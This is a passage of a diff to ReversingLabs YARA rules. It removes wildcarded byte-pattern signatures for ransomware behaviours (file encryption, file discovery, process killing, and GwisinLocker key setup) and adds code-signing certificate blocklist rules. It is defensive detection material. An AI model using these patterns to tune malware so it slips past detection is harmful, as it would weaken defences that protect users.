?? 89 3D ?? ?? - ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44 - 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 FB ?? 74 ?? 85 DB 0F 85 ?? ?? ?? ?? 33 - F6 8D 8C 24 ?? ?? ?? ?? 8B DE E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? BE ?? ?? ?? ?? 50 - 8D 44 24 ?? 8B D6 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 8B CE E8 ?? ?? ?? ?? 33 D2 - 8D 88 ?? ?? ?? ?? 8D 81 ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 8B 44 24 ?? C1 E8 ?? 89 - 44 24 ?? 83 C0 ?? 89 44 24 ?? 8B F0 8B C1 F7 F6 40 0F AF 44 24 ?? 50 6A ?? 89 44 24 - ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 6A ?? FF 15 ?? ?? - ?? ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 89 44 24 ?? E8 ?? ?? ?? ?? 8B 54 24 ?? - 8D 44 24 ?? 83 C4 ?? 81 C2 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 8C 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 39 5C 24 ?? 76 ?? 8B 44 24 ?? 8D - 54 24 ?? 8B 4C 24 ?? 2B C3 3B 44 24 ?? 0F 42 F0 8D 84 24 ?? ?? ?? ?? 50 8B 44 24 ?? - 8D 0C 39 68 ?? ?? ?? ?? 03 C3 56 50 E8 ?? ?? ?? ?? 03 7C 24 ?? 83 C4 ?? 03 DE 3B 7C - 24 ?? 72 ?? 33 FF 8D 84 24 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5C 24 ?? 83 FB ?? 74 ?? 85 DB 74 ?? 57 8D 44 24 ?? - 89 7C 24 ?? 8B 3D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF D7 33 F6 8D 44 - } - $encrypt_files_p2 = { - 24 ?? 56 50 FF 74 24 ?? FF 74 24 ?? 53 FF D7 33 FF 68 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? FF 74 24 ?? 57 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 50 FF D6 - FF 74 24 ?? 57 FF 15 ?? ?? ?? ?? 50 FF D6 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? - ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 - ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 33 F6 56 53 FF 15 ?? ?? ?? ?? 3D ?? - ?? ?? ?? 76 ?? 39 35 ?? ?? ?? ?? 75 ?? 56 53 FF 15 ?? ?? ?? ?? 56 8B F8 B8 ?? ?? ?? - ?? 56 50 53 2B F8 FF 15 ?? ?? ?? ?? 57 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 56 8D 8C 24 ?? ?? ?? ?? A3 ?? ?? ?? ?? 51 57 50 53 FF 15 ?? ?? ?? ?? 33 C0 50 50 50 - 53 FF 15 ?? ?? ?? ?? 33 F6 8D 84 24 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 53 FF 15 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF - 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 6A ?? 89 5C 24 ?? FF 15 ?? - ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 50 - FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA - ?? ?? ?? ?? C1 E8 ?? 50 E8 ?? ?? ?? ?? 59 8D 94 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 85 C9 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? - 50 FF 15 - } - $find_files = { - 53 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 35 ?? ?? ?? ?? FF D6 83 C4 ?? 53 8D 85 ?? - ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D6 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? - ?? ?? 33 DB B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? - 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 8B C3 EB ?? 1B C0 83 - C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 - ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 8B - C3 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? - F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 - A5 6A ?? 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 66 A5 6A ?? 59 BE ?? ?? ?? ?? 8D - BD ?? ?? ?? ?? F3 A5 66 A5 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? A5 A5 A5 A5 50 E8 ?? ?? - ?? ?? 59 8B F0 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? - ?? ?? 50 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? - 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? FF 75 ?? - 8B 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 75 ?? E9 ?? ?? ?? ?? FF 75 ?? E9 ?? - ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 66 39 1F 0F 84 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "1105 SOFTWARE LLC" and pe.signatures [ i ] . serial == "5c:9f:5f:96:72:6a:6e:6f:c3:b8:bb:15:3a:c8:2a:f2" and 1679061408 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_6E889Bb3B7F7194B674C6A0335A608E0 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "d164846d-9552-5108-8b01-1b4b3e7c0b60" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12388-L12404" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "fa2a47f4fb822089fcc958850ce516c8c5d95a6d9b575f3b1d1d4a2ceb2537e4" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CLEVERCONTROL LLC" and pe.signatures [ i ] . serial == "6e:88:9b:b3:b7:f7:19:4b:67:4c:6a:03:35:a6:08:e0" and 1646956800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Linux_Ransomware_Gwisinlocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_0F62F760704Bdf8Dc30C7Baa7376F484 : INFO FILE { meta: - description = "Yara rule that detects GwisinLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9f00e1b4-3692-5824-b614-724073532c1f" - date = "2022-10-11" - modified = "2022-10-11" + id = "fe326fb9-fe1e-5fc9-8599-6b4cfd6506dd" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Linux.Ransomware.GwisinLocker.yara#L1-L354" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12406-L12422" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c23c0b73bbefbd644ffe1398e1f14eec3a89945cb3c3ccbc6f46c57046b53505" + logic_hash = "d54d52e116b9404782ce80664f218d2e142577dac672c53c41b82f0466c7375a" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "GwisinLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $init_key_v1 = { - 55 57 56 53 E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8D 74 24 ?? 56 E8 ?? - ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 31 FF 83 EC ?? 56 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 89 - F8 5B 5E 5F 5D C3 66 90 31 D2 31 C0 89 54 04 ?? 83 C0 ?? 83 F8 ?? 72 ?? 83 EC ?? 8D - 83 ?? ?? ?? ?? 50 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 C5 8D 7C 24 ?? 85 - C0 74 ?? 50 6A ?? 6A ?? 57 E8 ?? ?? ?? ?? 89 2C 24 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? - 6A ?? 57 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? C7 04 24 ?? ?? ?? ?? 83 EC ?? 8D 44 - 24 ?? 50 FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 6A ?? FF B3 - ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 56 FF B3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 - 0F 94 C0 0F B6 C0 89 C7 E9 - } - $encrypt_files_v1_p1 = { - 55 B9 ?? ?? ?? ?? 57 56 53 E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8B 84 - 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 83 EC ?? 89 44 24 ?? 89 - C7 31 C0 F3 AB C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? 6A ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ?? 89 44 - 24 ?? 8D 84 24 ?? ?? ?? ?? 89 44 24 ?? 31 FF 83 EC ?? 68 ?? ?? ?? ?? FF 74 24 ?? E8 - ?? ?? ?? ?? 58 5A 6A ?? FF 74 24 ?? E8 ?? ?? ?? ?? 59 5E 6A ?? FF 74 24 ?? E8 ?? ?? - ?? ?? 81 C4 ?? ?? ?? ?? 89 F8 5B 5E 5F 5D C3 8D 74 26 ?? 90 83 EC ?? 6A ?? 8D 84 24 - ?? ?? ?? ?? 89 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D B4 24 ?? ?? ?? ?? 89 74 24 ?? - 85 C0 74 ?? 83 EC ?? 6A ?? FF 74 24 ?? 56 E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 59 5E 50 - 89 C5 FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? 89 C6 83 C4 ?? 85 C0 0F 84 ?? - ?? ?? ?? 83 EC ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 89 C7 FF B4 24 ?? - ?? ?? ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 01 FA 89 D0 8B 54 - 24 ?? 89 10 0F B7 54 24 ?? 66 89 50 ?? 0F B6 54 24 ?? 88 50 ?? 8B 94 24 ?? ?? ?? ?? - C6 44 3A ?? ?? BF ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? - ?? ?? ?? B9 ?? ?? ?? ?? 83 C4 ?? 39 C1 B9 ?? ?? ?? ?? 19 D1 7D ?? 83 EC ?? FF B4 24 - ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 EC ?? FF 74 - 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 74 26 ?? 90 83 EC ?? 56 E8 ?? ?? ?? - ?? 58 5A 55 FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? 89 C6 83 C4 ?? 85 C0 0F - } - $encrypt_files_v1_p2 = { - 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 8B 74 24 - ?? 8B 7C 24 ?? 89 D1 89 74 24 ?? 89 7C 24 ?? 83 C4 ?? 39 F0 19 F9 7D ?? 89 44 24 ?? - 89 54 24 ?? 8B 7C 24 ?? 8B 74 24 ?? 89 F9 89 F5 C1 F9 ?? 89 C8 89 4C 24 ?? 31 CD 8B - 74 24 ?? C1 F8 ?? 89 44 24 ?? 89 E8 29 F0 8B 74 24 ?? 89 C7 83 E7 ?? 31 CF 89 F8 8B - 7C 24 ?? 29 F0 8B 74 24 ?? 89 FA 19 FA 8B 7C 24 ?? 29 C6 89 74 24 ?? 19 D7 83 EC ?? - 89 7C 24 ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? - B9 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 31 C0 F3 AB 89 94 24 ?? ?? ?? ?? 56 6A ?? FF 74 - 24 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 C7 85 C0 0F 84 ?? ?? ?? ?? 83 - EC ?? FF 74 24 ?? E8 ?? ?? ?? ?? 5F 5D FF B4 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 - ?? 89 C7 85 C0 0F 84 ?? ?? ?? ?? 8B B4 24 ?? ?? ?? ?? 8B 54 24 ?? 31 FF 8B 44 24 ?? - 89 7C 24 ?? 89 74 24 ?? 8D 74 24 ?? 89 D7 89 74 24 ?? 8D B3 ?? ?? ?? ?? 09 C7 89 74 - } - $encrypt_files_v1_p3 = { - 24 ?? 0F 84 ?? ?? ?? ?? 8B 4C 24 ?? 8B 6C 24 ?? 89 4C 24 ?? EB ?? 66 90 83 EC ?? 31 - ED FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF 74 24 ?? FF 74 - 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 31 D2 6A ?? 8B 84 24 ?? ?? ?? ?? 52 F7 D8 - 50 57 E8 ?? ?? ?? ?? 57 FF B4 24 ?? ?? ?? ?? 6A ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 44 24 ?? 8B BC 24 ?? ?? ?? ?? 8B 54 24 ?? 29 F8 19 EA 89 44 24 ?? 89 D6 89 54 - 24 ?? 83 C4 ?? 09 C6 74 ?? 39 84 24 ?? ?? ?? ?? 89 E9 8B 7C 24 ?? 19 D1 0F 4C 84 24 - ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? - ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 57 - FF B4 24 ?? ?? ?? ?? 6A ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 39 84 24 ?? - ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 EC ?? BF ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 - ?? E9 ?? ?? ?? ?? 83 EC ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? E9 - } - $find_files_v1_p1 = { - 55 89 C5 57 E8 ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? 56 53 81 EC ?? ?? ?? ?? 89 54 24 ?? 8B - B4 24 ?? ?? ?? ?? 89 7C 24 ?? 89 FB 89 4C 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 44 24 - ?? C7 44 24 ?? ?? ?? ?? ?? 85 C0 74 ?? 8D 58 ?? 80 7C 05 ?? ?? 0F 45 D8 89 5C 24 ?? - 8B BC 24 ?? ?? ?? ?? 83 E7 ?? 74 ?? 83 EC ?? 8D 44 24 ?? 89 44 24 ?? 50 55 6A ?? 8B - 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 8B 00 83 F8 - ?? 0F 85 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8D - B4 26 ?? ?? ?? ?? 66 90 83 EC ?? 8D 44 24 ?? 89 44 24 ?? 50 55 6A ?? 8B 5C 24 ?? E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 78 ?? 8B 84 24 ?? ?? ?? ?? 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? - 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? C6 44 24 ?? ?? 31 FF C7 44 24 ?? - ?? ?? ?? ?? 8B 54 24 ?? 8B 44 24 ?? F6 84 24 ?? ?? ?? ?? ?? 74 ?? 85 F6 0F 84 ?? ?? - ?? ?? 8B 4E ?? 8B 5E ?? 31 D1 31 C3 09 CB 0F 84 ?? ?? ?? ?? 31 FF 81 C4 ?? ?? ?? ?? - 89 F8 5B 5E 5F 5D C3 8D 74 26 ?? 90 8B 5C 24 ?? E8 ?? ?? ?? ?? 89 C7 8B 00 83 F8 ?? - 0F 85 ?? ?? ?? ?? 83 EC ?? FF 74 24 ?? 55 6A ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? - 85 C0 0F 85 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ?? - ?? ?? ?? 8D 74 26 ?? 90 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? - ?? ?? 89 74 24 ?? 89 44 24 ?? 89 54 24 ?? 85 F6 0F 84 ?? ?? ?? ?? 8B 46 ?? 8B 4C 24 - ?? 83 C0 ?? 83 C1 ?? 89 44 24 ?? 89 44 24 ?? 8B 46 ?? 89 4C 24 ?? 89 4C 24 ?? 89 44 - } - $find_files_v1_p2 = { - 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 8B - 84 24 ?? ?? ?? ?? 83 E0 ?? 89 44 24 ?? 75 ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24 ?? - 55 8B 44 24 ?? FF D0 89 C7 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 85 F6 74 ?? 8B 84 24 ?? - ?? ?? ?? 8B 5C 24 ?? 89 6C 24 ?? 8B 4C 24 ?? 8B BC 24 ?? ?? ?? ?? 89 C5 EB ?? 8D B6 - ?? ?? ?? ?? 8B 36 85 F6 74 ?? 8B 46 ?? 8B 56 ?? 31 D8 31 CA 09 C2 75 ?? 8B 46 ?? 8B - 56 ?? 31 E8 31 FA 09 C2 0F 84 ?? ?? ?? ?? 8B 36 85 F6 75 ?? 8B 6C 24 ?? 8B 7C 24 ?? - 85 FF 74 ?? 80 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 8B 44 24 ?? C6 44 05 ?? ?? 8B 44 24 ?? - 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24 ?? 55 8B 44 24 ?? FF D0 - 83 C4 ?? 89 C7 81 C4 ?? ?? ?? ?? 89 F8 5B 5E 5F 5D C3 66 90 83 EC ?? 6A ?? 55 8B 5C - 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 44 24 ?? 89 C7 E8 ?? ?? ?? ?? 8B 00 89 44 24 ?? - 83 C4 ?? 85 FF 79 ?? 83 F8 ?? 0F B6 4C 24 ?? BA ?? ?? ?? ?? 0F 94 C0 84 C0 B8 ?? ?? - ?? ?? 0F 44 44 24 ?? 0F 45 CA 89 44 24 ?? 88 4C 24 ?? 8B 44 24 ?? 85 C0 0F 85 ?? ?? - ?? ?? 83 EC ?? FF 74 24 ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D B4 - 26 ?? ?? ?? ?? 8D 76 ?? 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 8B 44 24 ?? C7 44 24 ?? ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 48 ?? 89 4C 24 ?? 89 4C 24 ?? 85 C0 74 ?? 80 7C 05 - ?? ?? 74 ?? E9 ?? ?? ?? ?? 8D 76 ?? 80 7C 05 ?? ?? 0F 85 ?? ?? ?? ?? 83 E8 ?? 75 ?? - 31 D2 89 54 24 ?? E9 ?? ?? ?? ?? 8D 74 26 ?? 90 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89 - } - $find_files_v1_p3 = { - 44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 74 24 ?? 89 44 24 ?? 89 54 24 ?? E9 ?? ?? ?? ?? 90 - 8B 84 24 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 44 24 ?? ?? 83 E0 ?? 83 F8 ?? 19 C0 83 E0 ?? - 83 C0 ?? 89 44 24 ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 90 8B 74 24 ?? 85 F6 0F 88 - ?? ?? ?? ?? 83 EC ?? FF 74 24 ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 C6 85 C0 0F - 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 44 24 ?? 89 44 24 ?? 8D B4 26 ?? ?? ?? ?? 8D 76 ?? - 83 EC ?? 56 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 80 78 ?? ?? - 0F 84 ?? ?? ?? ?? 83 EC ?? 8D 78 ?? 57 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 3B 44 24 - ?? 0F 83 ?? ?? ?? ?? 8B 44 24 ?? 83 EC ?? C6 44 05 ?? ?? 57 8B 44 24 ?? 01 E8 50 8B - 5C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 5A 5B 8D 48 ?? 8D 44 24 ?? 50 89 E8 FF B4 24 ?? - ?? ?? ?? 8B 54 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 EC ?? 89 C7 - 56 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 66 90 80 78 ?? ?? 0F 84 ?? ?? - ?? ?? 66 83 78 ?? ?? 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 80 7C 05 ?? - ?? 8D 48 ?? 89 C2 0F 84 ?? ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 80 7C 05 ?? ?? 8D 50 ?? - 75 ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 66 90 89 C2 85 D2 0F 84 ?? ?? ?? ?? 80 7C - 15 ?? ?? 8D 42 ?? 75 ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? - 31 FF C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 EC ?? 56 8B 5C 24 ?? - E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 07 E9 ?? ?? ?? ?? 8B 7C 24 ?? 89 FB BF ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C7 00 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? - ?? ?? ?? BF - } - $kill_processes_v1_p1 = { - 55 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? BD ?? ?? ?? ?? 57 89 E9 56 53 E8 ?? ?? ?? ?? 81 C3 - ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 66 89 54 24 ?? 8D 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24 - ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 - 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? - C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? 8B 83 ?? ?? ?? ?? - 89 44 24 ?? 8B 83 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? F3 A5 8D B4 24 ?? ?? ?? ?? C6 44 - } - $kill_processes_v1_p2 = { - 24 ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 F7 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 CD C7 44 24 ?? ?? ?? - ?? ?? B9 ?? ?? ?? ?? 89 E8 F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D 44 24 ?? 50 56 E8 ?? - ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? ?? F3 AB FF B4 24 ?? ?? - ?? ?? 89 F7 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 - B9 ?? 